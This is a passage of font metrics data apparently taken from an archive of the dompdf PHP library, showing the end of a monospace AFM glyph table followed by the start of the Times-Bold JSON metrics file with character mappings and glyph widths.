U 9501 ; WX 602 ; N uni251D ; G 2319
U 9502 ; WX 602 ; N uni251E ; G 2320
U 9503 ; WX 602 ; N uni251F ; G 2321
U 9504 ; WX 602 ; N uni2520 ; G 2322
U 9505 ; WX 602 ; N uni2521 ; G 2323
U 9506 ; WX 602 ; N uni2522 ; G 2324
U 9507 ; WX 602 ; N uni2523 ; G 2325
U 9508 ; WX 602 ; N SF090000 ; G 2326
U 9509 ; WX 602 ; N uni2525 ; G 2327
U 9510 ; WX 602 ; N uni2526 ; G 2328
U 9511 ; WX 602 ; N uni2527 ; G 2329
U 9512 ; WX 602 ; N uni2528 ; G 2330
U 9513 ; WX 602 ; N uni2529 ; G 2331
U 9514 ; WX 602 ; N uni252A ; G 2332
U 9515 ; WX 602 ; N uni252B ; G 2333
U 9516 ; WX 602 ; N SF060000 ; G 2334
U 9517 ; WX 602 ; N uni252D ; G 2335
U 9518 ; WX 602 ; N uni252E ; G 2336
U 9519 ; WX 602 ; N uni252F ; G 2337
U 9520 ; WX 602 ; N uni2530 ; G 2338
U 9521 ; WX 602 ; N uni2531 ; G 2339
U 9522 ; WX 602 ; N uni2532 ; G 2340
U 9523 ; WX 602 ; N uni2533 ; G 2341
U 9524 ; WX 602 ; N SF070000 ; G 2342
U 9525 ; WX 602 ; N uni2535 ; G 2343
U 9526 ; WX 602 ; N uni2536 ; G 2344
U 9527 ; WX 602 ; N uni2537 ; G 2345
U 9528 ; WX 602 ; N uni2538 ; G 2346
U 9529 ; WX 602 ; N uni2539 ; G 2347
U 9530 ; WX 602 ; N uni253A ; G 2348
U 9531 ; WX 602 ; N uni253B ; G 2349
U 9532 ; WX 602 ; N SF050000 ; G 2350
U 9533 ; WX 602 ; N uni253D ; G 2351
U 9534 ; WX 602 ; N uni253E ; G 2352
U 9535 ; WX 602 ; N uni253F ; G 2353
U 9536 ; WX 602 ; N uni2540 ; G 2354
U 9537 ; WX 602 ; N uni2541 ; G 2355
U 9538 ; WX 602 ; N uni2542 ; G 2356
U 9539 ; WX 602 ; N uni2543 ; G 2357
U 9540 ; WX 602 ; N uni2544 ; G 2358
U 9541 ; WX 602 ; N uni2545 ; G 2359
U 9542 ; WX 602 ; N uni2546 ; G 2360
U 9543 ; WX 602 ; N uni2547 ; G 2361
U 9544 ; WX 602 ; N uni2548 ; G 2362
U 9545 ; WX 602 ; N uni2549 ; G 2363
U 9546 ; WX 602 ; N uni254A ; G 2364
U 9547 ; WX 602 ; N uni254B ; G 2365
U 9548 ; WX 602 ; N uni254C ; G 2366
U 9549 ; WX 602 ; N uni254D ; G 2367
U 9550 ; WX 602 ; N uni254E ; G 2368
U 9551 ; WX 602 ; N uni254F ; G 2369
U 9552 ; WX 602 ; N SF430000 ; G 2370
U 9553 ; WX 602 ; N SF240000 ; G 2371
U 9554 ; WX 602 ; N SF510000 ; G 2372
U 9555 ; WX 602 ; N SF520000 ; G 2373
U 9556 ; WX 602 ; N SF390000 ; G 2374
U 9557 ; WX 602 ; N SF220000 ; G 2375
U 9558 ; WX 602 ; N SF210000 ; G 2376
U 9559 ; WX 602 ; N SF250000 ; G 2377
U 9560 ; WX 602 ; N SF500000 ; G 2378
U 9561 ; WX 602 ; N SF490000 ; G 2379
U 9562 ; WX 602 ; N SF380000 ; G 2380
U 9563 ; WX 602 ; N SF280000 ; G 2381
U 9564 ; WX 602 ; N SF270000 ; G 2382
U 9565 ; WX 602 ; N SF260000 ; G 2383
U 9566 ; WX 602 ; N SF360000 ; G 2384
U 9567 ; WX 602 ; N SF370000 ; G 2385
U 9568 ; WX 602 ; N SF420000 ; G 2386
U 9569 ; WX 602 ; N SF190000 ; G 2387
U 9570 ; WX 602 ; N SF200000 ; G 2388
U 9571 ; WX 602 ; N SF230000 ; G 2389
U 9572 ; WX 602 ; N SF470000 ; G 2390
U 9573 ; WX 602 ; N SF480000 ; G 2391
U 9574 ; WX 602 ; N SF410000 ; G 2392
U 9575 ; WX 602 ; N SF450000 ; G 2393
U 9576 ; WX 602 ; N SF460000 ; G 2394
U 9577 ; WX 602 ; N SF400000 ; G 2395
U 9578 ; WX 602 ; N SF540000 ; G 2396
U 9579 ; WX 602 ; N SF530000 ; G 2397
U 9580 ; WX 602 ; N SF440000 ; G 2398
U 9581 ; WX 602 ; N uni256D ; G 2399
U 9582 ; WX 602 ; N uni256E ; G 2400
U 9583 ; WX 602 ; N uni256F ; G 2401
U 9584 ; WX 602 ; N uni2570 ; G 2402
U 9585 ; WX 602 ; N uni2571 ; G 2403
U 9586 ; WX 602 ; N uni2572 ; G 2404
U 9587 ; WX 602 ; N uni2573 ; G 2405
U 9588 ; WX 602 ; N uni2574 ; G 2406
U 9589 ; WX 602 ; N uni2575 ; G 2407
U 9590 ; WX 602 ; N uni2576 ; G 2408
U 9591 ; WX 602 ; N uni2577 ; G 2409
U 9592 ; WX 602 ; N uni2578 ; G 2410
U 9593 ; WX 602 ; N uni2579 ; G 2411
U 9594 ; WX 602 ; N uni257A ; G 2412
U 9595 ; WX 602 ; N uni257B ; G 2413
U 9596 ; WX 602 ; N uni257C ; G 2414
U 9597 ; WX 602 ; N uni257D ; G 2415
U 9598 ; WX 602 ; N uni257E ; G 2416
U 9599 ; WX 602 ; N uni257F ; G 2417
U 9600 ; WX 602 ; N upblock ; G 2418
U 9601 ; WX 602 ; N uni2581 ; G 2419
U 9602 ; WX 602 ; N uni2582 ; G 2420
U 9603 ; WX 602 ; N uni2583 ; G 2421
U 9604 ; WX 602 ; N dnblock ; G 2422
U 9605 ; WX 602 ; N uni2585 ; G 2423
U 9606 ; WX 602 ; N uni2586 ; G 2424
U 9607 ; WX 602 ; N uni2587 ; G 2425
U 9608 ; WX 602 ; N block ; G 2426
U 9609 ; WX 602 ; N uni2589 ; G 2427
U 9610 ; WX 602 ; N uni258A ; G 2428
U 9611 ; WX 602 ; N uni258B ; G 2429
U 9612 ; WX 602 ; N lfblock ; G 2430
U 9613 ; WX 602 ; N uni258D ; G 2431
U 9614 ; WX 602 ; N uni258E ; G 2432
U 9615 ; WX 602 ; N uni258F ; G 2433
U 9616 ; WX 602 ; N rtblock ; G 2434
U 9617 ; WX 602 ; N ltshade ; G 2435
U 9618 ; WX 602 ; N shade ; G 2436
U 9619 ; WX 602 ; N dkshade ; G 2437
U 9620 ; WX 602 ; N uni2594 ; G 2438
U 9621 ; WX 602 ; N uni2595 ; G 2439
U 9622 ; WX 602 ; N uni2596 ; G 2440
U 9623 ; WX 602 ; N uni2597 ; G 2441
U 9624 ; WX 602 ; N uni2598 ; G 2442
U 9625 ; WX 602 ; N uni2599 ; G 2443
U 9626 ; WX 602 ; N uni259A ; G 2444
U 9627 ; WX 602 ; N uni259B ; G 2445
U 9628 ; WX 602 ; N uni259C ; G 2446
U 9629 ; WX 602 ; N uni259D ; G 2447
U 9630 ; WX 602 ; N uni259E ; G 2448
U 9631 ; WX 602 ; N uni259F ; G 2449
U 9632 ; WX 602 ; N filledbox ; G 2450
U 9633 ; WX 602 ; N H22073 ; G 2451
U 9634 ; WX 602 ; N uni25A2 ; G 2452
U 9635 ; WX 602 ; N uni25A3 ; G 2453
U 9636 ; WX 602 ; N uni25A4 ; G 2454
U 9637 ; WX 602 ; N uni25A5 ; G 2455
U 9638 ; WX 602 ; N uni25A6 ; G 2456
U 9639 ; WX 602 ; N uni25A7 ; G 2457
U 9640 ; WX 602 ; N uni25A8 ; G 2458
U 9641 ; WX 602 ; N uni25A9 ; G 2459
U 9642 ; WX 602 ; N H18543 ; G 2460
U 9643 ; WX 602 ; N H18551 ; G 2461
U 9644 ; WX 602 ; N filledrect ; G 2462
U 9645 ; WX 602 ; N uni25AD ; G 2463
U 9646 ; WX 602 ; N uni25AE ; G 2464
U 9647 ; WX 602 ; N uni25AF ; G 2465
U 9648 ; WX 602 ; N uni25B0 ; G 2466
U 9649 ; WX 602 ; N uni25B1 ; G 2467
U 9650 ; WX 602 ; N triagup ; G 2468
U 9651 ; WX 602 ; N uni25B3 ; G 2469
U 9652 ; WX 602 ; N uni25B4 ; G 2470
U 9653 ; WX 602 ; N uni25B5 ; G 2471
U 9654 ; WX 602 ; N uni25B6 ; G 2472
U 9655 ; WX 602 ; N uni25B7 ; G 2473
U 9656 ; WX 602 ; N uni25B8 ; G 2474
U 9657 ; WX 602 ; N uni25B9 ; G 2475
U 9658 ; WX 602 ; N triagrt ; G 2476
U 9659 ; WX 602 ; N uni25BB ; G 2477
U 9660 ; WX 602 ; N triagdn ; G 2478
U 9661 ; WX 602 ; N uni25BD ; G 2479
U 9662 ; WX 602 ; N uni25BE ; G 2480
U 9663 ; WX 602 ; N uni25BF ; G 2481
U 9664 ; WX 602 ; N uni25C0 ; G 2482
U 9665 ; WX 602 ; N uni25C1 ; G 2483
U 9666 ; WX 602 ; N uni25C2 ; G 2484
U 9667 ; WX 602 ; N uni25C3 ; G 2485
U 9668 ; WX 602 ; N triaglf ; G 2486
U 9669 ; WX 602 ; N uni25C5 ; G 2487
U 9670 ; WX 602 ; N uni25C6 ; G 2488
U 9671 ; WX 602 ; N uni25C7 ; G 2489
U 9672 ; WX 602 ; N uni25C8 ; G 2490
U 9673 ; WX 602 ; N uni25C9 ; G 2491
U 9674 ; WX 602 ; N lozenge ; G 2492
U 9675 ; WX 602 ; N circle ; G 2493
U 9676 ; WX 602 ; N uni25CC ; G 2494
U 9677 ; WX 602 ; N uni25CD ; G 2495
U 9678 ; WX 602 ; N uni25CE ; G 2496
U 9679 ; WX 602 ; N H18533 ; G 2497
U 9680 ; WX 602 ; N uni25D0 ; G 2498
U 9681 ; WX 602 ; N uni25D1 ; G 2499
U 9682 ; WX 602 ; N uni25D2 ; G 2500
U 9683 ; WX 602 ; N uni25D3 ; G 2501
U 9684 ; WX 602 ; N uni25D4 ; G 2502
U 9685 ; WX 602 ; N uni25D5 ; G 2503
U 9686 ; WX 602 ; N uni25D6 ; G 2504
U 9687 ; WX 602 ; N uni25D7 ; G 2505
U 9688 ; WX 602 ; N invbullet ; G 2506
U 9689 ; WX 602 ; N invcircle ; G 2507
U 9690 ; WX 602 ; N uni25DA ; G 2508
U 9691 ; WX 602 ; N uni25DB ; G 2509
U 9692 ; WX 602 ; N uni25DC ; G 2510
U 9693 ; WX 602 ; N uni25DD ; G 2511
U 9694 ; WX 602 ; N uni25DE ; G 2512
U 9695 ; WX 602 ; N uni25DF ; G 2513
U 9696 ; WX 602 ; N uni25E0 ; G 2514
U 9697 ; WX 602 ; N uni25E1 ; G 2515
U 9698 ; WX 602 ; N uni25E2 ; G 2516
U 9699 ; WX 602 ; N uni25E3 ; G 2517
U 9700 ; WX 602 ; N uni25E4 ; G 2518
U 9701 ; WX 602 ; N uni25E5 ; G 2519
U 9702 ; WX 602 ; N openbullet ; G 2520
U 9703 ; WX 602 ; N uni25E7 ; G 2521
U 9704 ; WX 602 ; N uni25E8 ; G 2522
U 9705 ; WX 602 ; N uni25E9 ; G 2523
U 9706 ; WX 602 ; N uni25EA ; G 2524
U 9707 ; WX 602 ; N uni25EB ; G 2525
U 9708 ; WX 602 ; N uni25EC ; G 2526
U 9709 ; WX 602 ; N uni25ED ; G 2527
U 9710 ; WX 602 ; N uni25EE ; G 2528
U 9711 ; WX 602 ; N uni25EF ; G 2529
U 9712 ; WX 602 ; N uni25F0 ; G 2530
U 9713 ; WX 602 ; N uni25F1 ; G 2531
U 9714 ; WX 602 ; N uni25F2 ; G 2532
U 9715 ; WX 602 ; N uni25F3 ; G 2533
U 9716 ; WX 602 ; N uni25F4 ; G 2534
U 9717 ; WX 602 ; N uni25F5 ; G 2535
U 9718 ; WX 602 ; N uni25F6 ; G 2536
U 9719 ; WX 602 ; N uni25F7 ; G 2537
U 9720 ; WX 602 ; N uni25F8 ; G 2538
U 9721 ; WX 602 ; N uni25F9 ; G 2539
U 9722 ; WX 602 ; N uni25FA ; G 2540
U 9723 ; WX 602 ; N uni25FB ; G 2541
U 9724 ; WX 602 ; N uni25FC ; G 2542
U 9725 ; WX 602 ; N uni25FD ; G 2543
U 9726 ; WX 602 ; N uni25FE ; G 2544
U 9727 ; WX 602 ; N uni25FF ; G 2545
U 9728 ; WX 602 ; N uni2600 ; G 2546
U 9784 ; WX 602 ; N uni2638 ; G 2547
U 9785 ; WX 602 ; N uni2639 ; G 2548
U 9786 ; WX 602 ; N smileface ; G 2549
U 9787 ; WX 602 ; N invsmileface ; G 2550
U 9788 ; WX 602 ; N sun ; G 2551
U 9791 ; WX 602 ; N uni263F ; G 2552
U 9792 ; WX 602 ; N female ; G 2553
U 9793 ; WX 602 ; N uni2641 ; G 2554
U 9794 ; WX 602 ; N male ; G 2555
U 9795 ; WX 602 ; N uni2643 ; G 2556
U 9796 ; WX 602 ; N uni2644 ; G 2557
U 9797 ; WX 602 ; N uni2645 ; G 2558
U 9798 ; WX 602 ; N uni2646 ; G 2559
U 9799 ; WX 602 ; N uni2647 ; G 2560
U 9824 ; WX 602 ; N spade ; G 2561
U 9825 ; WX 602 ; N uni2661 ; G 2562
U 9826 ; WX 602 ; N uni2662 ; G 2563
U 9827 ; WX 602 ; N club ; G 2564
U 9828 ; WX 602 ; N uni2664 ; G 2565
U 9829 ; WX 602 ; N heart ; G 2566
U 9830 ; WX 602 ; N diamond ; G 2567
U 9831 ; WX 602 ; N uni2667 ; G 2568
U 9833 ; WX 602 ; N uni2669 ; G 2569
U 9834 ; WX 602 ; N musicalnote ; G 2570
U 9835 ; WX 602 ; N musicalnotedbl ; G 2571
U 9836 ; WX 602 ; N uni266C ; G 2572
U 9837 ; WX 602 ; N uni266D ; G 2573
U 9838 ; WX 602 ; N uni266E ; G 2574
U 9839 ; WX 602 ; N uni266F ; G 2575
U 10178 ; WX 602 ; N uni27C2 ; G 2576
U 10181 ; WX 602 ; N uni27C5 ; G 2577
U 10182 ; WX 602 ; N uni27C6 ; G 2578
U 10204 ; WX 602 ; N uni27DC ; G 2579
U 10208 ; WX 602 ; N uni27E0 ; G 2580
U 10214 ; WX 602 ; N uni27E6 ; G 2581
U 10215 ; WX 602 ; N uni27E7 ; G 2582
U 10216 ; WX 602 ; N uni27E8 ; G 2583
U 10217 ; WX 602 ; N uni27E9 ; G 2584
U 10218 ; WX 602 ; N uni27EA ; G 2585
U 10219 ; WX 602 ; N uni27EB ; G 2586
U 10229 ; WX 602 ; N uni27F5 ; G 2587
U 10230 ; WX 602 ; N uni27F6 ; G 2588
U 10231 ; WX 602 ; N uni27F7 ; G 2589
U 10631 ; WX 602 ; N uni2987 ; G 2590
U 10632 ; WX 602 ; N uni2988 ; G 2591
U 10647 ; WX 602 ; N uni2997 ; G 2592
U 10648 ; WX 602 ; N uni2998 ; G 2593
U 10731 ; WX 602 ; N uni29EB ; G 2594
U 10746 ; WX 602 ; N uni29FA ; G 2595
U 10747 ; WX 602 ; N uni29FB ; G 2596
U 10752 ; WX 602 ; N uni2A00 ; G 2597
U 10799 ; WX 602 ; N uni2A2F ; G 2598
U 10858 ; WX 602 ; N uni2A6A ; G 2599
U 10859 ; WX 602 ; N uni2A6B ; G 2600
U 11013 ; WX 602 ; N uni2B05 ; G 2601
U 11014 ; WX 602 ; N uni2B06 ; G 2602
U 11015 ; WX 602 ; N uni2B07 ; G 2603
U 11016 ; WX 602 ; N uni2B08 ; G 2604
U 11017 ; WX 602 ; N uni2B09 ; G 2605
U 11018 ; WX 602 ; N uni2B0A ; G 2606
U 11019 ; WX 602 ; N uni2B0B ; G 2607
U 11020 ; WX 602 ; N uni2B0C ; G 2608
U 11021 ; WX 602 ; N uni2B0D ; G 2609
U 11026 ; WX 602 ; N uni2B12 ; G 2610
U 11027 ; WX 602 ; N uni2B13 ; G 2611
U 11028 ; WX 602 ; N uni2B14 ; G 2612
U 11029 ; WX 602 ; N uni2B15 ; G 2613
U 11030 ; WX 602 ; N uni2B16 ; G 2614
U 11031 ; WX 602 ; N uni2B17 ; G 2615
U 11032 ; WX 602 ; N uni2B18 ; G 2616
U 11033 ; WX 602 ; N uni2B19 ; G 2617
U 11034 ; WX 602 ; N uni2B1A ; G 2618
U 11364 ; WX 602 ; N uni2C64 ; G 2619
U 11373 ; WX 602 ; N uni2C6D ; G 2620
U 11374 ; WX 602 ; N uni2C6E ; G 2621
U 11375 ; WX 602 ; N uni2C6F ; G 2622
U 11376 ; WX 602 ; N uni2C70 ; G 2623
U 11381 ; WX 602 ; N uni2C75 ; G 2624
U 11382 ; WX 602 ; N uni2C76 ; G 2625
U 11383 ; WX 602 ; N uni2C77 ; G 2626
U 11385 ; WX 602 ; N uni2C79 ; G 2627
U 11386 ; WX 602 ; N uni2C7A ; G 2628
U 11388 ; WX 602 ; N uni2C7C ; G 2629
U 11389 ; WX 602 ; N uni2C7D ; G 2630
U 11390 ; WX 602 ; N uni2C7E ; G 2631
U 11391 ; WX 602 ; N uni2C7F ; G 2632
U 11800 ; WX 602 ; N uni2E18 ; G 2633
U 11807 ; WX 602 ; N uni2E1F ; G 2634
U 11810 ; WX 602 ; N uni2E22 ; G 2635
U 11811 ; WX 602 ; N uni2E23 ; G 2636
U 11812 ; WX 602 ; N uni2E24 ; G 2637
U 11813 ; WX 602 ; N uni2E25 ; G 2638
U 11822 ; WX 602 ; N uni2E2E ; G 2639
U 42760 ; WX 602 ; N uniA708 ; G 2640
U 42761 ; WX 602 ; N uniA709 ; G 2641
U 42762 ; WX 602 ; N uniA70A ; G 2642
U 42763 ; WX 602 ; N uniA70B ; G 2643
U 42764 ; WX 602 ; N uniA70C ; G 2644
U 42765 ; WX 602 ; N uniA70D ; G 2645
U 42766 ; WX 602 ; N uniA70E ; G 2646
U 42767 ; WX 602 ; N uniA70F ; G 2647
U 42768 ; WX 602 ; N uniA710 ; G 2648
U 42769 ; WX 602 ; N uniA711 ; G 2649
U 42770 ; WX 602 ; N uniA712 ; G 2650
U 42771 ; WX 602 ; N uniA713 ; G 2651
U 42772 ; WX 602 ; N uniA714 ; G 2652
U 42773 ; WX 602 ; N uniA715 ; G 2653
U 42774 ; WX 602 ; N uniA716 ; G 2654
U 42779 ; WX 602 ; N uniA71B ; G 2655
U 42780 ; WX 602 ; N uniA71C ; G 2656
U 42781 ; WX 602 ; N uniA71D ; G 2657
U 42782 ; WX 602 ; N uniA71E ; G 2658
U 42783 ; WX 602 ; N uniA71F ; G 2659
U 42786 ; WX 602 ; N uniA722 ; G 2660
U 42787 ; WX 602 ; N uniA723 ; G 2661
U 42788 ; WX 602 ; N uniA724 ; G 2662
U 42789 ; WX 602 ; N uniA725 ; G 2663
U 42790 ; WX 602 ; N uniA726 ; G 2664
U 42791 ; WX 602 ; N uniA727 ; G 2665
U 42889 ; WX 602 ; N uniA789 ; G 2666
U 42890 ; WX 602 ; N uniA78A ; G 2667
U 42891 ; WX 602 ; N uniA78B ; G 2668
U 42892 ; WX 602 ; N uniA78C ; G 2669
U 42893 ; WX 602 ; N uniA78D ; G 2670
U 42894 ; WX 602 ; N uniA78E ; G 2671
U 42896 ; WX 602 ; N uniA790 ; G 2672
U 42897 ; WX 602 ; N uniA791 ; G 2673
U 42922 ; WX 602 ; N uniA7AA ; G 2674
U 43000 ; WX 602 ; N uniA7F8 ; G 2675
U 43001 ; WX 602 ; N uniA7F9 ; G 2676
U 63173 ; WX 602 ; N uniF6C5 ; G 2677
U 64257 ; WX 602 ; N fi ; G 2678
U 64258 ; WX 602 ; N fl ; G 2679
U 65529 ; WX 602 ; N uniFFF9 ; G 2680
U 65530 ; WX 602 ; N uniFFFA ; G 2681
U 65531 ; WX 602 ; N uniFFFB ; G 2682
U 65532 ; WX 602 ; N uniFFFC ; G 2683
U 65533 ; WX 602 ; N uniFFFD ; G 2684
EndCharMetrics
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/Times-Bold.afm.json000066600000031076151150443000016062 0ustar00{
    "codeToName": {
        "32": "space",
        "160": "space",
        "33": "exclam",
        "34": "quotedbl",
        "35": "numbersign",
        "36": "dollar",
        "37": "percent",
        "38": "ampersand",
        "146": "quoteright",
        "40": "parenleft",
        "41": "parenright",
        "42": "asterisk",
        "43": "plus",
        "44": "comma",
        "45": "hyphen",
        "173": "hyphen",
        "46": "period",
        "47": "slash",
        "48": "zero",
        "49": "one",
        "50": "two",
        "51": "three",
        "52": "four",
        "53": "five",
        "54": "six",
        "55": "seven",
        "56": "eight",
        "57": "nine",
        "58": "colon",
        "59": "semicolon",
        "60": "less",
        "61": "equal",
        "62": "greater",
        "63": "question",
        "64": "at",
        "65": "A",
        "66": "B",
        "67": "C",
        "68": "D",
        "69": "E",
        "70": "F",
        "71": "G",
        "72": "H",
        "73": "I",
        "74": "J",
        "75": "K",
        "76": "L",
        "77": "M",
        "78": "N",
        "79": "O",
        "80": "P",
        "81": "Q",
        "82": "R",
        "83": "S",
        "84": "T",
        "85": "U",
        "86": "V",
        "87": "W",
        "88": "X",
        "89": "Y",
        "90": "Z",
        "91": "bracketleft",
        "92": "backslash",
        "93": "bracketright",
        "94": "asciicircum",
        "95": "underscore",
        "145": "quoteleft",
        "97": "a",
        "98": "b",
        "99": "c",
        "100": "d",
        "101": "e",
        "102": "f",
        "103": "g",
        "104": "h",
        "105": "i",
        "106": "j",
        "107": "k",
        "108": "l",
        "109": "m",
        "110": "n",
        "111": "o",
        "112": "p",
        "113": "q",
        "114": "r",
        "115": "s",
        "116": "t",
        "117": "u",
        "118": "v",
        "119": "w",
        "120": "x",
        "121": "y",
        "122": "z",
        "123": "braceleft",
        "124": "bar",
        "125": "braceright",
        "126": "asciitilde",
        "161": "exclamdown",
        "162": "cent",
        "163": "sterling",
        "165": "yen",
        "131": "florin",
        "167": "section",
        "164": "currency",
        "39": "quotesingle",
        "147": "quotedblleft",
        "171": "guillemotleft",
        "139": "guilsinglleft",
        "155": "guilsinglright",
        "150": "endash",
        "134": "dagger",
        "135": "daggerdbl",
        "183": "periodcentered",
        "182": "paragraph",
        "149": "bullet",
        "130": "quotesinglbase",
        "132": "quotedblbase",
        "148": "quotedblright",
        "187": "guillemotright",
        "133": "ellipsis",
        "137": "perthousand",
        "191": "questiondown",
        "96": "grave",
        "180": "acute",
        "136": "circumflex",
        "152": "tilde",
        "175": "macron",
        "168": "dieresis",
        "184": "cedilla",
        "151": "emdash",
        "198": "AE",
        "170": "ordfeminine",
        "216": "Oslash",
        "140": "OE",
        "186": "ordmasculine",
        "230": "ae",
        "248": "oslash",
        "156": "oe",
        "223": "germandbls",
        "207": "Idieresis",
        "233": "eacute",
        "159": "Ydieresis",
        "247": "divide",
        "221": "Yacute",
        "194": "Acircumflex",
        "225": "aacute",
        "219": "Ucircumflex",
        "253": "yacute",
        "234": "ecircumflex",
        "220": "Udieresis",
        "218": "Uacute",
        "203": "Edieresis",
        "169": "copyright",
        "229": "aring",
        "224": "agrave",
        "227": "atilde",
        "154": "scaron",
        "237": "iacute",
        "251": "ucircumflex",
        "226": "acircumflex",
        "231": "ccedilla",
        "222": "Thorn",
        "179": "threesuperior",
        "210": "Ograve",
        "192": "Agrave",
        "215": "multiply",
        "250": "uacute",
        "255": "ydieresis",
        "238": "icircumflex",
        "202": "Ecircumflex",
        "228": "adieresis",
        "235": "edieresis",
        "205": "Iacute",
        "177": "plusminus",
        "166": "brokenbar",
        "174": "registered",
        "200": "Egrave",
        "142": "Zcaron",
        "208": "Eth",
        "199": "Ccedilla",
        "193": "Aacute",
        "196": "Adieresis",
        "232": "egrave",
        "211": "Oacute",
        "243": "oacute",
        "239": "idieresis",
        "212": "Ocircumflex",
        "217": "Ugrave",
        "254": "thorn",
        "178": "twosuperior",
        "214": "Odieresis",
        "181": "mu",
        "236": "igrave",
        "190": "threequarters",
        "153": "trademark",
        "204": "Igrave",
        "189": "onehalf",
        "244": "ocircumflex",
        "241": "ntilde",
        "201": "Eacute",
        "188": "onequarter",
        "138": "Scaron",
        "176": "degree",
        "242": "ograve",
        "249": "ugrave",
        "209": "Ntilde",
        "245": "otilde",
        "195": "Atilde",
        "197": "Aring",
        "213": "Otilde",
        "206": "Icircumflex",
        "172": "logicalnot",
        "246": "odieresis",
        "252": "udieresis",
        "240": "eth",
        "158": "zcaron",
        "185": "onesuperior",
        "128": "Euro"
    },
    "isUnicode": false,
    "FontName": "Times-Bold",
    "FullName": "Times Bold",
    "FamilyName": "Times",
    "Weight": "Bold",
    "ItalicAngle": "0",
    "IsFixedPitch": "false",
    "CharacterSet": "ExtendedRoman",
    "FontBBox": [
        "-168",
        "-218",
        "1000",
        "935"
    ],
    "UnderlinePosition": "-100",
    "UnderlineThickness": "50",
    "Version": "002.000",
    "EncodingScheme": "WinAnsiEncoding",
    "CapHeight": "676",
    "XHeight": "461",
    "Ascender": "683",
    "Descender": "-217",
    "StdHW": "44",
    "StdVW": "139",
    "StartCharMetrics": "317",
    "C": {
        "32": 250,
        "160": 250,
        "33": 333,
        "34": 555,
        "35": 500,
        "36": 500,
        "37": 1000,
        "38": 833,
        "146": 333,
        "40": 333,
        "41": 333,
        "42": 500,
        "43": 570,
        "44": 250,
        "45": 333,
        "173": 333,
        "46": 250,
        "47": 278,
        "48": 500,
        "49": 500,
        "50": 500,
        "51": 500,
        "52": 500,
        "53": 500,
        "54": 500,
        "55": 500,
        "56": 500,
        "57": 500,
        "58": 333,
        "59": 333,
        "60": 570,
        "61": 570,
        "62": 570,
        "63": 500,
        "64": 930,
        "65": 722,
        "66": 667,
        "67": 722,
        "68": 722,
        "69": 667,
        "70": 611,
        "71": 778,
        "72": 778,
        "73": 389,
        "74": 500,
        "75": 778,
        "76": 667,
        "77": 944,
        "78": 722,
        "79": 778,
        "80": 611,
        "81": 778,
        "82": 722,
        "83": 556,
        "84": 667,
        "85": 722,
        "86": 722,
        "87": 1000,
        "88": 722,
        "89": 722,
        "90": 667,
        "91": 333,
        "92": 278,
        "93": 333,
        "94": 581,
        "95": 500,
        "145": 333,
        "97": 500,
        "98": 556,
        "99": 444,
        "100": 556,
        "101": 444,
        "102": 333,
        "103": 500,
        "104": 556,
        "105": 278,
        "106": 333,
        "107": 556,
        "108": 278,
        "109": 833,
        "110": 556,
        "111": 500,
        "112": 556,
        "113": 556,
        "114": 444,
        "115": 389,
        "116": 333,
        "117": 556,
        "118": 500,
        "119": 722,
        "120": 500,
        "121": 500,
        "122": 444,
        "123": 394,
        "124": 220,
        "125": 394,
        "126": 520,
        "161": 333,
        "162": 500,
        "163": 500,
        "fraction": 167,
        "165": 500,
        "131": 500,
        "167": 500,
        "164": 500,
        "39": 278,
        "147": 500,
        "171": 500,
        "139": 333,
        "155": 333,
        "fi": 556,
        "fl": 556,
        "150": 500,
        "134": 500,
        "135": 500,
        "183": 250,
        "182": 540,
        "149": 350,
        "130": 333,
        "132": 500,
        "148": 500,
        "187": 500,
        "133": 1000,
        "137": 1000,
        "191": 500,
        "96": 333,
        "180": 333,
        "136": 333,
        "152": 333,
        "175": 333,
        "breve": 333,
        "dotaccent": 333,
        "168": 333,
        "ring": 333,
        "184": 333,
        "hungarumlaut": 333,
        "ogonek": 333,
        "caron": 333,
        "151": 1000,
        "198": 1000,
        "170": 300,
        "Lslash": 667,
        "216": 778,
        "140": 1000,
        "186": 330,
        "230": 722,
        "dotlessi": 278,
        "lslash": 278,
        "248": 500,
        "156": 722,
        "223": 556,
        "207": 389,
        "233": 444,
        "abreve": 500,
        "uhungarumlaut": 556,
        "ecaron": 444,
        "159": 722,
        "247": 570,
        "221": 722,
        "194": 722,
        "225": 500,
        "219": 722,
        "253": 500,
        "scommaaccent": 389,
        "234": 444,
        "Uring": 722,
        "220": 722,
        "aogonek": 500,
        "218": 722,
        "uogonek": 556,
        "203": 667,
        "Dcroat": 722,
        "commaaccent": 250,
        "169": 747,
        "Emacron": 667,
        "ccaron": 444,
        "229": 500,
        "Ncommaaccent": 722,
        "lacute": 278,
        "224": 500,
        "Tcommaaccent": 667,
        "Cacute": 722,
        "227": 500,
        "Edotaccent": 667,
        "154": 389,
        "scedilla": 389,
        "237": 278,
        "lozenge": 494,
        "Rcaron": 722,
        "Gcommaaccent": 778,
        "251": 556,
        "226": 500,
        "Amacron": 722,
        "rcaron": 444,
        "231": 444,
        "Zdotaccent": 667,
        "222": 611,
        "Omacron": 778,
        "Racute": 722,
        "Sacute": 556,
        "dcaron": 672,
        "Umacron": 722,
        "uring": 556,
        "179": 300,
        "210": 778,
        "192": 722,
        "Abreve": 722,
        "215": 570,
        "250": 556,
        "Tcaron": 667,
        "partialdiff": 494,
        "255": 500,
        "Nacute": 722,
        "238": 278,
        "202": 667,
        "228": 500,
        "235": 444,
        "cacute": 444,
        "nacute": 556,
        "umacron": 556,
        "Ncaron": 722,
        "205": 389,
        "177": 570,
        "166": 220,
        "174": 747,
        "Gbreve": 778,
        "Idotaccent": 389,
        "summation": 600,
        "200": 667,
        "racute": 444,
        "omacron": 500,
        "Zacute": 667,
        "142": 667,
        "greaterequal": 549,
        "208": 722,
        "199": 722,
        "lcommaaccent": 278,
        "tcaron": 416,
        "eogonek": 444,
        "Uogonek": 722,
        "193": 722,
        "196": 722,
        "232": 444,
        "zacute": 444,
        "iogonek": 278,
        "211": 778,
        "243": 500,
        "amacron": 500,
        "sacute": 389,
        "239": 278,
        "212": 778,
        "217": 722,
        "Delta": 612,
        "254": 556,
        "178": 300,
        "214": 778,
        "181": 556,
        "236": 278,
        "ohungarumlaut": 500,
        "Eogonek": 667,
        "dcroat": 556,
        "190": 750,
        "Scedilla": 556,
        "lcaron": 394,
        "Kcommaaccent": 778,
        "Lacute": 667,
        "153": 1000,
        "edotaccent": 444,
        "204": 389,
        "Imacron": 389,
        "Lcaron": 667,
        "189": 750,
        "lessequal": 549,
        "244": 500,
        "241": 556,
        "Uhungarumlaut": 722,
        "201": 667,
        "emacron": 444,
        "gbreve": 500,
        "188": 750,
        "138": 556,
